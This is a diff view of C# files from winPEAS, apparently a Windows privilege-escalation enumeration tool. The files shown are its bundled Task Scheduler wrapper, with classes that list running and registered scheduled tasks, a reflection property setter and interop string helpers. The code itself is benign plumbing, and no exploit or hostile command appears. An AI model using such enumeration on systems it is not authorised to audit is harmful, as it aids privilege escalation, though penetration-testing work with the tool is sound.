/// <summary>Sets a named property on an object.</summary>
|
/// <summary>Sets a named property on an object.</summary>
|
||||||
/// <typeparam name="T">The type of the property to be set.</typeparam>
|
/// <typeparam name="T">The type of the property to be set.</typeparam>
|
||||||
/// <param name="obj">The object on which to set the property.</param>
|
/// <param name="obj">The object on which to set the property.</param>
|
||||||
/// <param name="propName">Name of the property.</param>
|
/// <param name="propName">Name of the property.</param>
|
||||||
/// <param name="value">The property value to set on the object.</param>
|
/// <param name="value">The property value to set on the object.</param>
|
||||||
public static void SetProperty<T>(object obj, string propName, T value)
|
public static void SetProperty<T>(object obj, string propName, T value)
|
||||||
{
|
{
|
||||||
try { obj?.GetType().InvokeMember(propName, BindingFlags.SetProperty | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, obj, new object[] { value }, null); }
|
try { obj?.GetType().InvokeMember(propName, BindingFlags.SetProperty | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, obj, new object[] { value }, null); }
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -9,395 +9,395 @@ using winPEAS.TaskScheduler.V2;
|
|||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Collection of running tasks in a <see cref="TaskService"/>. This class has no public constructor and can only be accessed via the
|
/// Collection of running tasks in a <see cref="TaskService"/>. This class has no public constructor and can only be accessed via the
|
||||||
/// properties and functions within <see cref="TaskService"/>.
|
/// properties and functions within <see cref="TaskService"/>.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public sealed class RunningTaskCollection : IReadOnlyList<RunningTask>, IDisposable
|
public sealed class RunningTaskCollection : IReadOnlyList<RunningTask>, IDisposable
|
||||||
{
|
{
|
||||||
private readonly TaskService svc;
|
private readonly TaskService svc;
|
||||||
private readonly IRunningTaskCollection v2Coll;
|
private readonly IRunningTaskCollection v2Coll;
|
||||||
|
|
||||||
internal RunningTaskCollection([NotNull] TaskService svc) => this.svc = svc;
|
internal RunningTaskCollection([NotNull] TaskService svc) => this.svc = svc;
|
||||||
|
|
||||||
internal RunningTaskCollection([NotNull] TaskService svc, [NotNull] IRunningTaskCollection iTaskColl)
|
internal RunningTaskCollection([NotNull] TaskService svc, [NotNull] IRunningTaskCollection iTaskColl)
|
||||||
{
|
{
|
||||||
this.svc = svc;
|
this.svc = svc;
|
||||||
v2Coll = iTaskColl;
|
v2Coll = iTaskColl;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets the number of registered tasks in the collection.</summary>
|
/// <summary>Gets the number of registered tasks in the collection.</summary>
|
||||||
public int Count
|
public int Count
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
return v2Coll.Count;
|
return v2Coll.Count;
|
||||||
var i = 0;
|
var i = 0;
|
||||||
var v1Enum = new V1RunningTaskEnumerator(svc);
|
var v1Enum = new V1RunningTaskEnumerator(svc);
|
||||||
while (v1Enum.MoveNext())
|
while (v1Enum.MoveNext())
|
||||||
i++;
|
i++;
|
||||||
return i;
|
return i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets the specified running task from the collection.</summary>
|
/// <summary>Gets the specified running task from the collection.</summary>
|
||||||
/// <param name="index">The index of the running task to be retrieved.</param>
|
/// <param name="index">The index of the running task to be retrieved.</param>
|
||||||
/// <returns>A <see cref="RunningTask"/> instance.</returns>
|
/// <returns>A <see cref="RunningTask"/> instance.</returns>
|
||||||
public RunningTask this[int index]
|
public RunningTask this[int index]
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
{
|
{
|
||||||
var irt = v2Coll[++index];
|
var irt = v2Coll[++index];
|
||||||
return new RunningTask(svc, TaskService.GetTask(svc.v2TaskService, irt.Path), irt);
|
return new RunningTask(svc, TaskService.GetTask(svc.v2TaskService, irt.Path), irt);
|
||||||
}
|
}
|
||||||
|
|
||||||
var i = 0;
|
var i = 0;
|
||||||
var v1Enum = new V1RunningTaskEnumerator(svc);
|
var v1Enum = new V1RunningTaskEnumerator(svc);
|
||||||
while (v1Enum.MoveNext())
|
while (v1Enum.MoveNext())
|
||||||
if (i++ == index)
|
if (i++ == index)
|
||||||
return v1Enum.Current;
|
return v1Enum.Current;
|
||||||
throw new ArgumentOutOfRangeException(nameof(index));
|
throw new ArgumentOutOfRangeException(nameof(index));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Releases all resources used by this class.</summary>
|
/// <summary>Releases all resources used by this class.</summary>
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
Marshal.ReleaseComObject(v2Coll);
|
Marshal.ReleaseComObject(v2Coll);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets an IEnumerator instance for this collection.</summary>
|
/// <summary>Gets an IEnumerator instance for this collection.</summary>
|
||||||
/// <returns>An enumerator.</returns>
|
/// <returns>An enumerator.</returns>
|
||||||
public IEnumerator<RunningTask> GetEnumerator()
|
public IEnumerator<RunningTask> GetEnumerator()
|
||||||
{
|
{
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
return new ComEnumerator<RunningTask, IRunningTask>(() => v2Coll.Count, (object o) => v2Coll[o], o =>
|
return new ComEnumerator<RunningTask, IRunningTask>(() => v2Coll.Count, (object o) => v2Coll[o], o =>
|
||||||
{
|
{
|
||||||
IRegisteredTask task = null;
|
IRegisteredTask task = null;
|
||||||
try { task = TaskService.GetTask(svc.v2TaskService, o.Path); } catch { }
|
try { task = TaskService.GetTask(svc.v2TaskService, o.Path); } catch { }
|
||||||
return task == null ? null : new RunningTask(svc, task, o);
|
return task == null ? null : new RunningTask(svc, task, o);
|
||||||
});
|
});
|
||||||
return new V1RunningTaskEnumerator(svc);
|
return new V1RunningTaskEnumerator(svc);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Returns a <see cref="System.String"/> that represents this instance.</summary>
|
/// <summary>Returns a <see cref="System.String"/> that represents this instance.</summary>
|
||||||
/// <returns>A <see cref="System.String"/> that represents this instance.</returns>
|
/// <returns>A <see cref="System.String"/> that represents this instance.</returns>
|
||||||
public override string ToString() => $"RunningTaskCollection; Count: {Count}";
|
public override string ToString() => $"RunningTaskCollection; Count: {Count}";
|
||||||
|
|
||||||
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
|
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
|
||||||
|
|
||||||
private class V1RunningTaskEnumerator : IEnumerator<RunningTask>
|
private class V1RunningTaskEnumerator : IEnumerator<RunningTask>
|
||||||
{
|
{
|
||||||
private readonly TaskService svc;
|
private readonly TaskService svc;
|
||||||
private readonly TaskCollection.V1TaskEnumerator tEnum;
|
private readonly TaskCollection.V1TaskEnumerator tEnum;
|
||||||
|
|
||||||
internal V1RunningTaskEnumerator([NotNull] TaskService svc)
|
internal V1RunningTaskEnumerator([NotNull] TaskService svc)
|
||||||
{
|
{
|
||||||
this.svc = svc;
|
this.svc = svc;
|
||||||
tEnum = new TaskCollection.V1TaskEnumerator(svc);
|
tEnum = new TaskCollection.V1TaskEnumerator(svc);
|
||||||
}
|
}
|
||||||
|
|
||||||
public RunningTask Current => new RunningTask(svc, tEnum.ICurrent);
|
public RunningTask Current => new RunningTask(svc, tEnum.ICurrent);
|
||||||
|
|
||||||
object System.Collections.IEnumerator.Current => Current;
|
object System.Collections.IEnumerator.Current => Current;
|
||||||
|
|
||||||
/// <summary>Releases all resources used by this class.</summary>
|
/// <summary>Releases all resources used by this class.</summary>
|
||||||
public void Dispose() => tEnum.Dispose();
|
public void Dispose() => tEnum.Dispose();
|
||||||
|
|
||||||
public bool MoveNext() => tEnum.MoveNext() && (tEnum.Current?.State == TaskState.Running || MoveNext());
|
public bool MoveNext() => tEnum.MoveNext() && (tEnum.Current?.State == TaskState.Running || MoveNext());
|
||||||
|
|
||||||
public void Reset() => tEnum.Reset();
|
public void Reset() => tEnum.Reset();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Contains all the tasks that are registered within a <see cref="TaskFolder"/>. This class has no public constructor and can only be
|
/// Contains all the tasks that are registered within a <see cref="TaskFolder"/>. This class has no public constructor and can only be
|
||||||
/// accessed via the properties and functions within <see cref="TaskFolder"/>.
|
/// accessed via the properties and functions within <see cref="TaskFolder"/>.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <remarks>
|
/// <remarks>
|
||||||
/// Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name.
|
/// Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name.
|
||||||
/// This has been removed so that it is consistent with V2.
|
/// This has been removed so that it is consistent with V2.
|
||||||
/// </remarks>
|
/// </remarks>
|
||||||
/// <example>
|
/// <example>
|
||||||
/// <code>public class Program
|
/// <code>public class Program
|
||||||
/// {
|
/// {
|
||||||
/// bool RootFolderHasTask(string taskName)
|
/// bool RootFolderHasTask(string taskName)
|
||||||
/// {
|
/// {
|
||||||
/// if (TaskService.Instance.RootFolder.Tasks.Count > 0)
|
/// if (TaskService.Instance.RootFolder.Tasks.Count > 0)
|
||||||
/// {
|
/// {
|
||||||
/// return TaskService.Instance.RootFolder.Tasks.Exists(taskName);
|
/// return TaskService.Instance.RootFolder.Tasks.Exists(taskName);
|
||||||
/// }
|
/// }
|
||||||
/// return false;
|
/// return false;
|
||||||
/// }
|
/// }
|
||||||
///
|
///
|
||||||
/// TaskCollection GetRootTasksStartingWith(string value)
|
/// TaskCollection GetRootTasksStartingWith(string value)
|
||||||
/// {
|
/// {
|
||||||
/// var pattern = $"^{Regex.Escape(value)}.*$";
|
/// var pattern = $"^{Regex.Escape(value)}.*$";
|
||||||
/// return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern));
|
/// return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern));
|
||||||
/// }
|
/// }
|
||||||
///
|
///
|
||||||
/// public static void Main()
|
/// public static void Main()
|
||||||
/// {
|
/// {
|
||||||
/// foreach (var task in GetRootTasksStartingWith("MyCo"))
|
/// foreach (var task in GetRootTasksStartingWith("MyCo"))
|
||||||
/// if (RootFolderHasTask(task.Name))
|
/// if (RootFolderHasTask(task.Name))
|
||||||
/// Console.WriteLine(task.Name);
|
/// Console.WriteLine(task.Name);
|
||||||
/// }
|
/// }
|
||||||
/// }</code>
|
/// }</code>
|
||||||
/// </example>
|
/// </example>
|
||||||
[PublicAPI]
|
[PublicAPI]
|
||||||
public sealed class TaskCollection : IReadOnlyList<Task>, IDisposable
|
public sealed class TaskCollection : IReadOnlyList<Task>, IDisposable
|
||||||
{
|
{
|
||||||
private readonly TaskFolder fld;
|
private readonly TaskFolder fld;
|
||||||
private readonly TaskService svc;
|
private readonly TaskService svc;
|
||||||
private readonly IRegisteredTaskCollection v2Coll;
|
private readonly IRegisteredTaskCollection v2Coll;
|
||||||
private Regex filter;
|
private Regex filter;
|
||||||
private ITaskScheduler v1TS;
|
private ITaskScheduler v1TS;
|
||||||
|
|
||||||
internal TaskCollection([NotNull] TaskService svc, Regex filter = null)
|
internal TaskCollection([NotNull] TaskService svc, Regex filter = null)
|
||||||
{
|
{
|
||||||
this.svc = svc;
|
this.svc = svc;
|
||||||
Filter = filter;
|
Filter = filter;
|
||||||
v1TS = svc.v1TaskScheduler;
|
v1TS = svc.v1TaskScheduler;
|
||||||
}
|
}
|
||||||
|
|
||||||
internal TaskCollection([NotNull] TaskFolder folder, [NotNull] IRegisteredTaskCollection iTaskColl, Regex filter = null)
|
internal TaskCollection([NotNull] TaskFolder folder, [NotNull] IRegisteredTaskCollection iTaskColl, Regex filter = null)
|
||||||
{
|
{
|
||||||
svc = folder.TaskService;
|
svc = folder.TaskService;
|
||||||
Filter = filter;
|
Filter = filter;
|
||||||
fld = folder;
|
fld = folder;
|
||||||
v2Coll = iTaskColl;
|
v2Coll = iTaskColl;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets the number of registered tasks in the collection.</summary>
|
/// <summary>Gets the number of registered tasks in the collection.</summary>
|
||||||
public int Count
|
public int Count
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
var i = 0;
|
var i = 0;
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
{
|
{
|
||||||
var v2Enum = new V2TaskEnumerator(fld, v2Coll, filter);
|
var v2Enum = new V2TaskEnumerator(fld, v2Coll, filter);
|
||||||
while (v2Enum.MoveNext())
|
while (v2Enum.MoveNext())
|
||||||
i++;
|
i++;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
var v1Enum = new V1TaskEnumerator(svc, filter);
|
var v1Enum = new V1TaskEnumerator(svc, filter);
|
||||||
return v1Enum.Count;
|
return v1Enum.Count;
|
||||||
}
|
}
|
||||||
return i;
|
return i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets or sets the regular expression filter for task names.</summary>
|
/// <summary>Gets or sets the regular expression filter for task names.</summary>
|
||||||
/// <value>The regular expression filter.</value>
|
/// <value>The regular expression filter.</value>
|
||||||
private Regex Filter
|
private Regex Filter
|
||||||
{
|
{
|
||||||
get => filter;
|
get => filter;
|
||||||
set
|
set
|
||||||
{
|
{
|
||||||
var sfilter = value?.ToString().TrimStart('^').TrimEnd('$') ?? string.Empty;
|
var sfilter = value?.ToString().TrimStart('^').TrimEnd('$') ?? string.Empty;
|
||||||
if (sfilter == string.Empty || sfilter == "*")
|
if (sfilter == string.Empty || sfilter == "*")
|
||||||
filter = null;
|
filter = null;
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
if (value != null && value.ToString().TrimEnd('$').EndsWith("\\.job", StringComparison.InvariantCultureIgnoreCase))
|
if (value != null && value.ToString().TrimEnd('$').EndsWith("\\.job", StringComparison.InvariantCultureIgnoreCase))
|
||||||
filter = new Regex(value.ToString().Replace("\\.job", ""));
|
filter = new Regex(value.ToString().Replace("\\.job", ""));
|
||||||
else
|
else
|
||||||
filter = value;
|
filter = value;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets the specified registered task from the collection.</summary>
|
/// <summary>Gets the specified registered task from the collection.</summary>
|
||||||
/// <param name="index">The index of the registered task to be retrieved.</param>
|
/// <param name="index">The index of the registered task to be retrieved.</param>
|
||||||
/// <returns>A <see cref="Task"/> instance that contains the requested context.</returns>
|
/// <returns>A <see cref="Task"/> instance that contains the requested context.</returns>
|
||||||
public Task this[int index]
|
public Task this[int index]
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
var i = 0;
|
var i = 0;
|
||||||
var te = GetEnumerator();
|
var te = GetEnumerator();
|
||||||
while (te.MoveNext())
|
while (te.MoveNext())
|
||||||
if (i++ == index)
|
if (i++ == index)
|
||||||
return te.Current;
|
return te.Current;
|
||||||
throw new ArgumentOutOfRangeException(nameof(index));
|
throw new ArgumentOutOfRangeException(nameof(index));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets the named registered task from the collection.</summary>
|
/// <summary>Gets the named registered task from the collection.</summary>
|
||||||
/// <param name="name">The name of the registered task to be retrieved.</param>
|
/// <param name="name">The name of the registered task to be retrieved.</param>
|
||||||
/// <returns>A <see cref="Task"/> instance that contains the requested context.</returns>
|
/// <returns>A <see cref="Task"/> instance that contains the requested context.</returns>
|
||||||
public Task this[string name]
|
public Task this[string name]
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
return Task.CreateTask(svc, v2Coll[name]);
|
return Task.CreateTask(svc, v2Coll[name]);
|
||||||
|
|
||||||
var v1Task = svc.GetTask(name);
|
var v1Task = svc.GetTask(name);
|
||||||
if (v1Task != null)
|
if (v1Task != null)
|
||||||
return v1Task;
|
return v1Task;
|
||||||
|
|
||||||
throw new ArgumentOutOfRangeException(nameof(name));
|
throw new ArgumentOutOfRangeException(nameof(name));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Releases all resources used by this class.</summary>
|
/// <summary>Releases all resources used by this class.</summary>
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
v1TS = null;
|
v1TS = null;
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
Marshal.ReleaseComObject(v2Coll);
|
Marshal.ReleaseComObject(v2Coll);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Determines whether the specified task exists.</summary>
|
/// <summary>Determines whether the specified task exists.</summary>
|
||||||
/// <param name="taskName">The name of the task.</param>
|
/// <param name="taskName">The name of the task.</param>
|
||||||
/// <returns>true if task exists; otherwise, false.</returns>
|
/// <returns>true if task exists; otherwise, false.</returns>
|
||||||
public bool Exists([NotNull] string taskName)
|
public bool Exists([NotNull] string taskName)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (v2Coll != null)
|
if (v2Coll != null)
|
||||||
return v2Coll[taskName] != null;
|
return v2Coll[taskName] != null;
|
||||||
|
|
||||||
return svc.GetTask(taskName) != null;
|
return svc.GetTask(taskName) != null;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets the collection enumerator for the register task collection.</summary>
|
/// <summary>Gets the collection enumerator for the register task collection.</summary>
|
||||||
/// <returns>An <see cref="System.Collections.IEnumerator"/> for this collection.</returns>
|
/// <returns>An <see cref="System.Collections.IEnumerator"/> for this collection.</returns>
|
||||||
public IEnumerator<Task> GetEnumerator()
|
public IEnumerator<Task> GetEnumerator()
|
||||||
{
|
{
|
||||||
if (v1TS != null)
|
if (v1TS != null)
|
||||||
return new V1TaskEnumerator(svc, filter);
|
return new V1TaskEnumerator(svc, filter);
|
||||||
return new V2TaskEnumerator(fld, v2Coll, filter);
|
return new V2TaskEnumerator(fld, v2Coll, filter);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Returns a <see cref="System.String"/> that represents this instance.</summary>
|
/// <summary>Returns a <see cref="System.String"/> that represents this instance.</summary>
|
||||||
/// <returns>A <see cref="System.String"/> that represents this instance.</returns>
|
/// <returns>A <see cref="System.String"/> that represents this instance.</returns>
|
||||||
public override string ToString() => $"TaskCollection; Count: {Count}";
|
public override string ToString() => $"TaskCollection; Count: {Count}";
|
||||||
|
|
||||||
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
|
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
|
||||||
|
|
||||||
internal class V1TaskEnumerator : IEnumerator<Task>
|
internal class V1TaskEnumerator : IEnumerator<Task>
|
||||||
{
|
{
|
||||||
private readonly Regex filter;
|
private readonly Regex filter;
|
||||||
private readonly TaskService svc;
|
private readonly TaskService svc;
|
||||||
private readonly IEnumWorkItems wienum;
|
private readonly IEnumWorkItems wienum;
|
||||||
private string curItem;
|
private string curItem;
|
||||||
private ITaskScheduler ts;
|
private ITaskScheduler ts;
|
||||||
|
|
||||||
/// <summary>Internal constructor</summary>
|
/// <summary>Internal constructor</summary>
|
||||||
/// <param name="svc">TaskService instance</param>
|
/// <param name="svc">TaskService instance</param>
|
||||||
/// <param name="filter">The filter.</param>
|
/// <param name="filter">The filter.</param>
|
||||||
internal V1TaskEnumerator(TaskService svc, Regex filter = null)
|
internal V1TaskEnumerator(TaskService svc, Regex filter = null)
|
||||||
{
|
{
|
||||||
this.svc = svc;
|
this.svc = svc;
|
||||||
this.filter = filter;
|
this.filter = filter;
|
||||||
ts = svc.v1TaskScheduler;
|
ts = svc.v1TaskScheduler;
|
||||||
wienum = ts?.Enum();
|
wienum = ts?.Enum();
|
||||||
Reset();
|
Reset();
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Retrieves the current task. See <see cref="System.Collections.IEnumerator.Current"/> for more information.</summary>
|
/// <summary>Retrieves the current task. See <see cref="System.Collections.IEnumerator.Current"/> for more information.</summary>
|
||||||
public Task Current => new Task(svc, ICurrent);
|
public Task Current => new Task(svc, ICurrent);
|
||||||
|
|
||||||
object System.Collections.IEnumerator.Current => Current;
|
object System.Collections.IEnumerator.Current => Current;
|
||||||
|
|
||||||
internal int Count
|
internal int Count
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
var i = 0;
|
var i = 0;
|
||||||
Reset();
|
Reset();
|
||||||
while (MoveNext())
|
while (MoveNext())
|
||||||
i++;
|
i++;
|
||||||
Reset();
|
Reset();
|
||||||
return i;
|
return i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
internal ITask ICurrent => TaskService.GetTask(ts, curItem);
|
internal ITask ICurrent => TaskService.GetTask(ts, curItem);
|
||||||
|
|
||||||
/// <summary>Releases all resources used by this class.</summary>
|
/// <summary>Releases all resources used by this class.</summary>
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
if (wienum != null) Marshal.ReleaseComObject(wienum);
|
if (wienum != null) Marshal.ReleaseComObject(wienum);
|
||||||
ts = null;
|
ts = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Moves to the next task. See MoveNext for more information.</summary>
|
/// <summary>Moves to the next task. See MoveNext for more information.</summary>
|
||||||
/// <returns>true if next task found, false if no more tasks.</returns>
|
/// <returns>true if next task found, false if no more tasks.</returns>
|
||||||
public bool MoveNext()
|
public bool MoveNext()
|
||||||
{
|
{
|
||||||
var names = IntPtr.Zero;
|
var names = IntPtr.Zero;
|
||||||
var valid = false;
|
var valid = false;
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
curItem = null;
|
curItem = null;
|
||||||
uint uFetched = 0;
|
uint uFetched = 0;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
wienum?.Next(1, out names, out uFetched);
|
wienum?.Next(1, out names, out uFetched);
|
||||||
if (uFetched != 1)
|
if (uFetched != 1)
|
||||||
break;
|
break;
|
||||||
using (var name = new CoTaskMemString(Marshal.ReadIntPtr(names)))
|
using (var name = new CoTaskMemString(Marshal.ReadIntPtr(names)))
|
||||||
curItem = name.ToString();
|
curItem = name.ToString();
|
||||||
if (curItem != null && curItem.EndsWith(".job", StringComparison.InvariantCultureIgnoreCase))
|
if (curItem != null && curItem.EndsWith(".job", StringComparison.InvariantCultureIgnoreCase))
|
||||||
curItem = curItem.Remove(curItem.Length - 4);
|
curItem = curItem.Remove(curItem.Length - 4);
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
finally { Marshal.FreeCoTaskMem(names); names = IntPtr.Zero; }
|
finally { Marshal.FreeCoTaskMem(names); names = IntPtr.Zero; }
|
||||||
|
|
||||||
// If name doesn't match filter, look for next item
|
// If name doesn't match filter, look for next item
|
||||||
if (filter != null && curItem != null)
|
if (filter != null && curItem != null)
|
||||||
{
|
{
|
||||||
if (!filter.IsMatch(curItem))
|
if (!filter.IsMatch(curItem))
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
ITask itask = null;
|
ITask itask = null;
|
||||||
try { itask = ICurrent; valid = true; }
|
try { itask = ICurrent; valid = true; }
|
||||||
catch { valid = false; }
|
catch { valid = false; }
|
||||||
finally { Marshal.ReleaseComObject(itask); }
|
finally { Marshal.ReleaseComObject(itask); }
|
||||||
} while (!valid);
|
} while (!valid);
|
||||||
|
|
||||||
return (curItem != null);
|
return (curItem != null);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Reset task enumeration. See Reset for more information.</summary>
|
/// <summary>Reset task enumeration. See Reset for more information.</summary>
|
||||||
public void Reset()
|
public void Reset()
|
||||||
{
|
{
|
||||||
curItem = null;
|
curItem = null;
|
||||||
wienum?.Reset();
|
wienum?.Reset();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private class V2TaskEnumerator : ComEnumerator<Task, IRegisteredTask>
|
private class V2TaskEnumerator : ComEnumerator<Task, IRegisteredTask>
|
||||||
{
|
{
|
||||||
private readonly Regex filter;
|
private readonly Regex filter;
|
||||||
|
|
||||||
internal V2TaskEnumerator(TaskFolder folder, IRegisteredTaskCollection iTaskColl, Regex filter = null) :
|
internal V2TaskEnumerator(TaskFolder folder, IRegisteredTaskCollection iTaskColl, Regex filter = null) :
|
||||||
base(() => iTaskColl.Count, (object o) => iTaskColl[o], o => Task.CreateTask(folder.TaskService, o)) => this.filter = filter;
|
base(() => iTaskColl.Count, (object o) => iTaskColl[o], o => Task.CreateTask(folder.TaskService, o)) => this.filter = filter;
|
||||||
|
|
||||||
public override bool MoveNext()
|
public override bool MoveNext()
|
||||||
{
|
{
|
||||||
var hasNext = base.MoveNext();
|
var hasNext = base.MoveNext();
|
||||||
while (hasNext)
|
while (hasNext)
|
||||||
{
|
{
|
||||||
if (filter == null || filter.IsMatch(iEnum?.Current?.Name ?? ""))
|
if (filter == null || filter.IsMatch(iEnum?.Current?.Name ?? ""))
|
||||||
break;
|
break;
|
||||||
hasNext = base.MoveNext();
|
hasNext = base.MoveNext();
|
||||||
}
|
}
|
||||||
return hasNext;
|
return hasNext;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,147 +1,144 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections;
|
using System.Collections;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||||
{
|
{
|
||||||
internal static class InteropUtil
|
internal static class InteropUtil
|
||||||
{
|
{
|
||||||
private const int cbBuffer = 256;
|
private const int cbBuffer = 256;
|
||||||
|
|
||||||
public static T ToStructure<T>(IntPtr ptr) => (T)Marshal.PtrToStructure(ptr, typeof(T));
|
public static T ToStructure<T>(IntPtr ptr) => (T)Marshal.PtrToStructure(ptr, typeof(T));
|
||||||
|
|
||||||
public static IntPtr StructureToPtr(object value)
|
public static IntPtr StructureToPtr(object value)
|
||||||
{
|
{
|
||||||
IntPtr ret = Marshal.AllocHGlobal(Marshal.SizeOf(value));
|
IntPtr ret = Marshal.AllocHGlobal(Marshal.SizeOf(value));
|
||||||
Marshal.StructureToPtr(value, ret, false);
|
Marshal.StructureToPtr(value, ret, false);
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void AllocString(ref IntPtr ptr, ref uint size)
|
public static void AllocString(ref IntPtr ptr, ref uint size)
|
||||||
{
|
{
|
||||||
FreeString(ref ptr, ref size);
|
FreeString(ref ptr, ref size);
|
||||||
if (size == 0) size = cbBuffer;
|
if (size == 0) size = cbBuffer;
|
||||||
ptr = Marshal.AllocHGlobal(cbBuffer);
|
ptr = Marshal.AllocHGlobal(cbBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void FreeString(ref IntPtr ptr, ref uint size)
|
public static void FreeString(ref IntPtr ptr, ref uint size)
|
||||||
{
|
{
|
||||||
if (ptr != IntPtr.Zero)
|
if (ptr != IntPtr.Zero)
|
||||||
{
|
{
|
||||||
Marshal.FreeHGlobal(ptr);
|
Marshal.FreeHGlobal(ptr);
|
||||||
ptr = IntPtr.Zero;
|
ptr = IntPtr.Zero;
|
||||||
size = 0;
|
size = 0;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static string GetString(IntPtr pString) => Marshal.PtrToStringUni(pString);
|
public static string GetString(IntPtr pString) => Marshal.PtrToStringUni(pString);
|
||||||
|
|
||||||
public static bool SetString(ref IntPtr ptr, ref uint size, string value = null)
|
public static bool SetString(ref IntPtr ptr, ref uint size, string value = null)
|
||||||
{
|
{
|
||||||
string s = GetString(ptr);
|
string s = GetString(ptr);
|
||||||
if (value == string.Empty) value = null;
|
if (value == string.Empty) value = null;
|
||||||
if (string.CompareOrdinal(s, value) != 0)
|
if (string.CompareOrdinal(s, value) != 0)
|
||||||
{
|
{
|
||||||
FreeString(ref ptr, ref size);
|
FreeString(ref ptr, ref size);
|
||||||
if (value != null)
|
if (value != null)
|
||||||
{
|
{
|
||||||
ptr = Marshal.StringToHGlobalUni(value);
|
ptr = Marshal.StringToHGlobalUni(value);
|
||||||
size = (uint)value.Length + 1;
|
size = (uint)value.Length + 1;
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Converts an <see cref="IntPtr"/> that points to a C-style array into a CLI array.
|
/// Converts an <see cref="IntPtr"/> that points to a C-style array into a CLI array.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <typeparam name="TS">Type of native structure used by the C-style array.</typeparam>
|
/// <typeparam name="TS">Type of native structure used by the C-style array.</typeparam>
|
||||||
